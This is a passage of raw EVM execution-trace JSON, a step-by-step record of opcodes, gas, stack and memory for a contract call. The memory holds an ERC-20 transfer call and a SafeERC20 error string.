000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28358,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28353,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x21c168e0266b2113b7540910c7ac4fbac8ec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28350,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xc2e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3118,"op":"JUMPDEST","gas":28342,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x21c168e0266b2113b7540910c7ac4fbac8ec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3119,"op":"PUSH2","gas":28341,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x21c168e0266b2113b7540910c7ac4fbac8ec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3122,"op":"SWAP1","gas":28338,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xc3b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3123,"op":"PUSH3","gas":28335,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3127,"op":"PUSH2","gas":28332,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3130,"op":"JUMP","gas":28329,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":28321,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":28320,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":28317,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":28314,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0xf4240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":28311,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0xf4240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":28308,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0xf4240","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":28303,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x10c6f7a0b5ed8d36b4c7f34938583621fafc8b0079a2834d26fa3fcc9ea9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":28300,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x10c6f7a0b5ed8d36b4c7f34938583621fafc8b0079a2834d26fa3fcc9ea9","0x21c168e0266b2113b7540910c7ac4fbac8ec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":28297,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":28294,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x0","0xf4240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":28291,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":28288,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28285,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28282,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b7540910c7ac4fbac8ec","0xf4240","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28279,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc3b","0x21c168e0266b2113b